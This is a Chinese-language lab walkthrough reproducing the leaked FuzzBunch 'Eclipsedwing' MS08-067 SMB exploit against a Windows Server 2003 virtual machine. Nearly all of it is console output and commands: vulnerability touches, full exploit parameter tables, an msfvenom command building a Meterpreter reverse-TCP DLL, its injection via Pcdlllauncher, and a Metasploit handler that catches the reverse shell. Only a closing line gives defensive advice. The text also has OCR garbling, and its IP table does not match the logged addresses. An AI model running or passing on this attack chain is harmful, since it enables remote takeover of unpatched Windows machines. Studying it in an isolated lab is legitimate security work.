Eclipsedwing 漏洞复现

实验环境如下:

IP₽	系统信息₽	用途↩	备注₽	
192.168.226.131	Win2k3 sp2 x86	靶机⇨	主 机 ADMIN-8F	名 : 86 <mark>513</mark> D6₽
192.168.226.134	Win7₽	攻击机₽	需 python2.6	安 &pywin32⊬
192.168.226.128¢	Kali2.0₽	生成用于攻击 payload 和控制反弹 shell 会话。	₂	

首先配置一些基本信息:

```
[*] Retargetting Session
   Default Target IP Address []: 192.168.43.150
   Default Callback IP Address []: 192.168.43.200
   Use Redirection [yes] : no
Base Log directory [D:\logs] : C:\log
[*] Checking C:\log for projects
Index
         Project
         eternalblue_test
         eternalchampion
         test_jdk
         Create a New Project
? Project [0] : 3
 🚺 New Project Name : eclipsedwing
Set target log directory to 'C:\log\eclipsedwing\z192.168.43.150'? [Yes]:
[*] Initializing Global State
[+] Set TargetIp => 192.168.43.150
[+] Set CallbackIp => 192.168.43.200
?1 Redirection OFF
[+] Set LogDir => C:\log\eclipsedwing\z192.168.43.150
[+] Set Project => eclipsedwing
```

使用模块:

```
fb > use Ecl
Eclipsedwing
                 Eclipsedwingtouch
fb > use Eclipsedwing
 Entering Plugin Context :: Eclipsedwing
[*] Applying Global Variables
[+] Set TargetIp => 192.168.43.150
[+] Set NetworkTimeout => 60
[+] Set CallbackIp => 192.168.43.200
[*] Applying Session Parameters
[*] Running Exploit Touches
  I Entering Plugin Context :: Rpctouch
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.43.150
[*] Inheriting Input Variables
[+] Set TargetIp => 192.168.43.150
[+] Set NetworkTimeout => 60
11 Enter Prompt Mode :: Rpctouch
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1
for no timeout.
 🚺 NetworkTimeout [60] : _
   NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
 71 TargetIp [192.168.43.150] :
[*] TargetPort :: Port used by the MSRPC service. Typically 445 (SMB) or 139 (N
BT)
 71 TargetPort [445] :
* NetBIOSName :: Name to use if running touch over NBT, Uista and above requi
re real hostname.
   NetBIOSName [*SMBSERUER] :
[*] TouchLanguage :: Run language touch against RPC spooler service.
 TouchLanguage [False] :
```

```
TouchLanguage [False] :
[*] TouchArchitecture :: Run architecture touch against SMB via a memory disclo
sure bug.
 TouchArchitecture [False] :
[*] Protocol :: Protocol to connect to target with. Touches will vary with prot
ocol.
   *Ø> SMB
               SMB over TCP
   1) NBT
               Netbios over TCP
 ?] Protocol [0]:
 !1 Preparing to Execute Rpctouch
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[7] Destination IP [192.168.43.150] :
  Destination Port [445] :
[+] (TCP) Local 192.168.43.150:445
[+] Configure Plugin Remote Tunnels
Module: Rpctouch
_____
                     Value
Name
NetworkTimeout
TargetIp
                     192.168.43.150
TargetPort
                     445
NetBIOSName
                     *SMBSERUER
TouchLanguage
                     False
TouchArchitecture
                     False
Protoco1
                     SMB
 Execute Plugin? [Yes]:
```

```
? Execute Plugin? [Yes] :
[*] Executing Plugin
[*] SMB String: Windows Server 2003 3790 Service Pack 2 (W2K3SP2)
[+] Rpctouch Succeeded
[*] Exporting Contract To Exploit
[+] Set Protocol => SMB
[+] Set Target => W2K3SP2
 ! ] ECWI requires Target OS
 Entering Plugin Context :: Eclipsedwingtouch
[*] Applying Global Variables
[+] Set TargetIp => 192.168.43.150
[+] Set NetworkTimeout => 60
[*] Inheriting Input Variables
[+] Set TargetIp => 192.168.43.150
[+] Set Protocol => SMB
[+] Set NetworkTimeout => 60
[1] Enter Prompt Mode :: Eclipsedwingtouch
[*] TargetIp :: Target IP Address
 7 TargetIp [192.168.43.150] :
[*] TargetPort :: Port used by SMB or NBT
 7 TargetPort [] :
[*] TargetPort :: Port used by SMB or NBT
 7 TargetPort [] :
 🚺 TargetPort []: 445
[+] Set TargetPort => 445
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1
for no timeout.
 NetworkTimeout [60] :
[*] Protocol :: Protocol to connect to target with
   *∅> SMB
               SMB over TCP (port 445)
   1) NBT
               Netbios over TCP (port 139)
 Protocol [0] :
 ! Preparing to Execute Eclipsedwingtouch
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
   Destination IP [192.168.43.150] :
```

```
+1 Local Tunnel - local-tunnel-1
   Destination IP [192.168.43.150] :
  Destination Port [445] :
[+] (TCP) Local 192.168.43.150:445
[+] Configure Plugin Remote Tunnels
Module: Eclipsedwingtouch
                 Value
Name
                 192.168.43.150
[arget I p
TargetPort
                 445
ServerName
                 *SMBSERUER
ClientName
                 *SMBCLIENT
NetworkTimeout
                 60
Protoco1
                 SMB
 Execute Plugin? [Yes]:
[*] Executing Plugin
[*] Running touch
[*] Initializing parameters
      [+] Parameter initialization complete
[*] Initializing network
[*] Creating launch socket
       [+] Setting username: NULL
```

[+] Setting password: NULL

```
[*] Initializing network
[*] Creating launch socket
         [+] Setting username: NULL
         [+] Setting password: NULL
         [+] Target is 192.168.43.150:445
[+] Launch socket creation complete
         [+] Network initialization complete
[*] Building touch
[*] Building touch package
[*] Building PathName1
[*] PathName1 build complete
[*] Building PathName2
[*] PathName2 build complete
[+] PathType - 0x1
[+] Flags - 0x00000000
[*] Creating NetPathCompare request
[+] Creation of the NetPathCompare request complete
[+] Touch package build complete
         [+] Touch build complete
[*] Touching the target
         [+1 Binding to RPC interface
[+1 Sending touch package
         [+] The target IS UULNERABLE
[+] Target touching complete
[+] Touch run complete
[*] Cleaning up the network
[+] Network clean up complete
[+] Eclipsedwingtouch Succeeded
[*] Exporting Contract To Exploit
 [ ECWI requires vulnerable target
 !1 Enter Prompt Mode :: Eclipsedwing
Module: Eclipsedwing
                       Value
Name
```

```
Value
Name
                      192.168.43.150
TargetIp
TargetPort
NetworkTimeout
CallbackIp
                      192.168.43.200
CallbackPort
CallbackLocalPort
Protoco1
                      SMB
Payload
                      Callback
                      W2K3SP2
Target
 1 Plugin Variables are NOT Valid
 Prompt For Variable Settings? [Yes] :
[*] TargetIp :: Target IP Address
 11 TargetIp [192.168.43.150] :
[*] TargetPort :: Port used by Netbios or SMB
[?] TargetPort []: 445
[+] Set TargetPort => 445
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1
for no timeout.
 NetworkTimeout [60] :
[*] Protocol :: Protocol to connect to target with
   *0) SMB
               SMB over TCP
   1) NBT
               Netbios over TCP
 ?] Protocol [0] :
[*] Payload :: Listen or Callback paylaod
   *0) Callback
                     Callback payload
    1) RPCReuse
                     RPC Proxy payload
```

```
*Ø) Callback
                    Callback payload
   1) RPCReuse
                    RPC Proxy payload
 Payload [0]:
[*] Target :: Operating System, Service Pack, and Language of target OS
   0> W2K
                   Windows 2000 All
   1) XPSPØ
                   Windows XP, Service Pack 0
                   Windows XP, Service Pack 1
   2) XPSP1
   3) XPSP2
                   Windows XP, Service Pack 2
                   Windows XP, Service Pack 3
   4) XPSP3
                   Windows 2003, Service Pack 0
   5> W2K3SP0
                  Windows 2003, Service Pack 1
Windows 2003, Service Pack 2
   6> W2K3SP1
  *7) W2K3SP2
 71 Target [7] :
[*] CallbackIp :: Callback IP address
 71 CallbackIp [192.168.43.200] :
[*] CallbackPort :: Callback port
 71 CallbackPort [0] : 8888
[+] Set CallbackPort => 8888
[*] CallbackLocalPort :: Local callback port
  CallbackLocalPort []: 9999
[+] Set CallbackLocalPort => 9999
  Preparing to Execute Eclipsedwing
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
Destination IP [192.168.43.150] :
 1 Preparing to Execute Eclipsedwing
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
   Destination IP [192.168.43.150] :
   Destination Port [445] :
[+] (Tcp) Local 192.168.43.150:445
[+] Configure Plugin Remote Tunnels
[+] Remote Tunnel - remote-tunnel-1
   Listen IP [192.168.43.200] :
   Listen Port [8888] :
[+] (Tcp) Remote 192.168.43.200:8888
Module: Eclipsedwing
-----
                               Value
Name
```

Module: Eclipsedwing	
Name	Value
TargetIp	192.168.43.150
TargetPort	445
NetworkTimeout	60
ClientName	*SMBCLI ENT
ServerName	*SMBSERUER
CallbackIp	192.168.43.200
CallbackPort	8888
CallbackLocalPort	8888
PrefixLength	184
BufferLength	4000
ProcHandleOffset	8
ProcHandleOffset2	52
ProcHandleValue	4294967295
PtrRwSizeOffset	16
PtrRwSizeOffset2	60
ExeFlagsOffset	20
ExeFlagsOffset2	64

ExeFlagsOffset2	64
ExeFlagsValue	64
UnpatchedRetOffset	28
UnpatchedEcxOffset	32
PatchedEcxOffset	40
CommonRetOffset	36
LoadEaxPtrOffset	44
LoadEaxPtrOffset2	112
EaxPtrOffset	48
AddEaxPtrEdxOffset	56
EbxToWriteableOffset	72
EbxPtrOffset	84
MovHeapPtrToEcxOffset	88
EaxNegValOffset	132
MovEcxEspOffset	140
HeapRetAddrOffset	152
HeapRetAddrOffset2	32
HeapRetEbxOffset	104
HeapRetEbpOffset	136

HeapRetEsiOffset 64 PtrPtrHeapOffset 12 PtrPtrHeapOffset2 56 GetExecutionToBufferOffset 4 GetExecutionToBufferOffset2 48 WriteMemoryOffset 24 WriteMemoryOffset2 68 WriteMemoryOffset3 28 CallEcxOffset 76 HeapRetEbxValue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 201412	HeapRetEbpOffset	136
PtrPtrHeapOffset2 56 GetExecutionToBufferOffset 4 GetExecutionToBufferOffset2 48 WriteMemoryOffset 24 WriteMemoryOffset2 68 WriteMemoryOffset3 28 CallEcxOffset 76 HeapRetEbxUalue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetUalue 34080 CommonRetUalue 77703 InitialEcxUalue 201408 LoadEaxPtrUalue 37777 EaxPtrUalue 1744882756 AddEaxPtrEdxUalue 130009 EbxToWriteableValue 131765	HeapRetEsiOffset	64
GetExecutionToBufferOffset 4 GetExecutionToBufferOffset2 48 WriteMemoryOffset 24 WriteMemoryOffset2 68 WriteMemoryOffset3 28 CallEcxOffset 76 HeapRetEbxValue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 39777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130909 EbxToWriteableValue 131765	PtrPtrHeapOffset	12
GetExecutionToBufferOffset2 48 WriteMemoryOffset 24 WriteMemoryOffset2 68 WriteMemoryOffset3 28 CallEcxOffset 76 HeapRetEbxValue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	PtrPtrHeapOffset2	56
WriteMemoryOffset 24 WriteMemoryOffset2 68 WriteMemoryOffset3 28 CallEcxOffset 76 HeapRetEbxValue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	GetExecutionToBufferOffset	4
WriteMemoryOffset2 68 WriteMemoryOffset3 28 CallEcxOffset 76 HeapRetEbxValue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	GetExecutionToBufferOffset2	48
WriteMemoryOffset3 28 CallEcxOffset 76 HeapRetEbxValue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	WriteMemoryOffset	24
CallEcxOffset 76 HeapRetEbxValue 2147353344 ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	WriteMemoryOffset2	68
### HeapRetEbxValue	WriteMemoryOffset3	28
ShellcodeOffset 120 RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	CallEcxOffset	76
RsaenhBaseAddress 1744830464 UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	HeapRetEbxValue	2147353344
UnpatchedRetValue 34080 CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	ShellcodeOffset	120
CommonRetValue 77703 InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	RsaenhBaseAddress	1744830464
InitialEcxValue 201408 LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	UnpatchedRetValue	34080
LoadEaxPtrValue 37777 EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	Common Ret Value	77703
EaxPtrValue 1744882756 AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	InitialEcxValue	201408
AddEaxPtrEdxValue 130009 EbxToWriteableValue 131765	LoadEaxPtrValue	37777
EbxToWriteableValue 131765	EaxPtrValue	1744882756
	AddEaxPtrEdxValue	130009
EbxPtrValue 201412	EbxToWriteableValue	131765
	EbxPtrValue	201412

EbxPtrValue 201412 MovHeapPtrToEcxValue 151144 EaxNegValValue 4294967088 MovEcxEspValue 90236 HeapRetAddrValue 74979 HeapRetEbpValue 201416 PtrRet18Value 27033 PtrRwSizeValue 197742 PtrRwSizeValue2 198247 GetExecutionToBufferValue 68380 WriteMemoryValue 201408 CallEcxValue 89960 NtAllocatePtr 18 CallEaxRetValue 90209 GetStackPtr 90276 SyscallUProtectValue 143 SMB Protoco1 Payload Callback Target W2K3SP2 Execute Plugin? [Yes]: 一大段信息之后: L+1 Callback complete [*] Waiting for AuthCode from exploit [*] Checking AuthCode

- [+] AuthCode check passed: Egg ØxfeØc5a58 : Generated ØxfeØc5a58 [+] AuthCode check complete
- [*] Exploit complete
- [*] Cleaning up the network
 - [+] Network clean up complete
- [+] Eclipsedwing Succeeded
- Fb Exploit (Eclipsedwing) >

靶机上被建立的链接:

TCP	192.168.43.150:1116	192.168.43.200:8888	ESTABLISHED	876	
100000000				5 <u>-</u> 255 53	

```
fb Exploit (Eclipsedwing) > use Pcdlllauncher
 1 Entering Plugin Context :: Pcdlllauncher
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[*] Applying Session Parameters
[+] Set ConnectedTcp => 124
[+] Set XorMask => 114
[+] Set Rendezvous => 49207
 !] Enter Prompt Mode :: Pcdlllauncher
Module: Pcdlllauncher
-----
Name
                       Value
                       124
ConnectedTcp
XorMask
                       114
NetworkTimeout
                       60
LPFilename
                       D: \DSZOpsDisk\Resources\Pc\Legacy\PC_Exploit.dll
LPEntryName
                       ServiceEntry
ImplantFilename
Target0sArchitecture
                       ×86
PCBehavior
                       49207
Rendezvous
Plugin Variables are NOT Valid
 Prompt For Variable Settings? [Yes]:
[*] ConnectedTcp :: Connected TCP Socket
 ConnectedTcp [124] :
[*] XorMask :: XOR Mask for communication
  XorMask [114] :
[*] NetworkTimeout :: Network timeout (in seconds). Use -1 for no timeout.
 NetworkTimeout [60] :
[*] LPFilename :: Full path to LP
 🚺 LPFilename [D:\D$Z0psDisk\Resources\Pc\Legacy\PC_Exploit.dll] : C:\Users\Adm
inistrator\Desktop\FUZZBUNCH-master\Resources\LegacyWindowsExploits\Resources\Pc
\i386-winnt\PC_Exploit.dll
[+] Set LPFilename => C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re... <plu
s 68 characters)
```

其中 LPFilename 的值根据自己的电脑的实际位置填,找到相应的 dll 文件的位置

```
[+] Set LPFilename => C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re... <plu
 68 characters)
[*] LPEntryName :: LP Entry Function Name
 🚺 LPEntryName [ServiceEntry] :
[*] ImplantFilename :: Full path to implant payload
 🚺 ImplantFilename [] :
[*] ImplantFilename :: Full path to implant payload
 🚺 ImplantFilename [] :
[*] ImplantFilename :: Full path to implant payload
   ImplantFilename []:
这里的是要添加一个反弹 shell 的 dll payload, 使用 kali 生成
     kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.60 lpo
rt=8090 --platform windows -f dll -o eclipsedwin.dll
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 5120 bytes
Saved as: eclipsedwin.dll
root@kali:~#
```



然后继续配置 fb 平台参数

```
ImplantFilename []: C:\Users\Administrator\Desktop\FUZZBUNCH-master\Resourc
es\eclipsedwin.dll
[+] Set ImplantFilename => C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re...
(plus 23 characters)
[*] Rendezvous :: Rendezvous location
 71 Rendezvous [49207] :
[*] TargetOsArchitecture :: Machine architecture of target.
   *Ø> x86
              32-bit Intel x86 processor.
   1) x64
               64-bit AMD x86_64 processor.
 🚺 TargetOsArchitecture [0] :
[*] PCBehavior :: PEDDLECHEAP EGG Behavior
             Re-use Socket (PC EGG behavior is NOT DONE)
  *1) 8
            Re-use Socket and PC EGG behavior
  PCBehavior [1]: 0
[+] Set PCBehavior => 7
 Preparing to Execute Pcdlllauncher
Module: Pcdlllauncher
Name
                       Value
ConnectedTcp
                        124
XorMask
                        114
NetworkTimeout
                        60
LPFilename
                        C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re
                        sources LegacyWindowsExploits Resources Pc \i386-wi
                        nnt\PC_Exploit.dll
LPEntryName
                        ServiceEntry
ImplantFilename
                        C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re
                        sources \eclipsedwin.dll
Target0sArchitecture
                        x86
PCBehavior
                        49207
Rendezvous
   Execute Plugin? [Yes]:
```

回车之后:

```
*1 Executing Plugin
*1 Initializing Parameters
[*] Preparing Implant
Loaded implant len 5120
[*] Uploading Implant
        [+] Payload Size : 6700
        [+] Payload XOR Mask: 114
        [+] Sending Implant Size To Target
                [+] Size: 6700 (0x00001a2c)
                [+] Checking Remote Status
                [+] Remote Status OKAY
        [+] Sending Implant To Target
                [+] Checking Remote Status
                [+] Remote Status OKAY
[*] Launch LP
        [+] LoadLibrary on C:\Users\Administrator\Desktop\FUZZBUNCH-master\Resou
rces LegacyWindowsExploits Resources Pc\i386-winnt PC_Exploit.dll
        [+] GetProcAddress for : ServiceEntry
        [+] Calling Entry point
Duplicating socket
*** FAILED TO DUPLICATE SOCKET ***
Duplicating socket
*** FAILED TO DUPLICATE SOCKET ***
Duplicating socket
**** FAILED TO DUPLICATE SOCKET ****
Duplicating socket
*** FAILED TO DUPLICATE SOCKET ***
```

虽然显示是"FAILED TO DUPLICATE SOCKET"但是实际上已经在 msfconsole 上获取了反弹的 shell:

msfconsole 配置如下:

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 192.168.43.60
LHOST => 192.168.43.60
msf exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.43.60:5555
^C[-] Exploit failed: Interrupt
[*] Exploit completed, but no session was created.
msf exploit(multi/handler) > show options

这里端口应该是和生成反弹 dll 的端口一致,所以修改一下:
```

修改之后继续监听,发现重新在 fb 平台上使用 Pcdlllauncher 模块的那一步,然后成功得到了上面的那一步收到了反弹的 shell

存在的问题:

上面有一步是开启了一个简单的 HTTPServer 好像没有发挥什么作用

NBT 协议即 net bios over TCP/IP,属于 SMB(Server Message Block) Windows 协议族,用于文件和打印共享服务。NBT(NetBIOS over TCP/IP) 使用 137(UDP), 138(UDP) and 139 (TCP) 来实现基于 TCP/IP 的 NETBIOS 网际互联。

防范手段

安装 MS08-067 补丁, 开启防火墙过滤 137-139, 445 端口, 关闭 SMB 服务。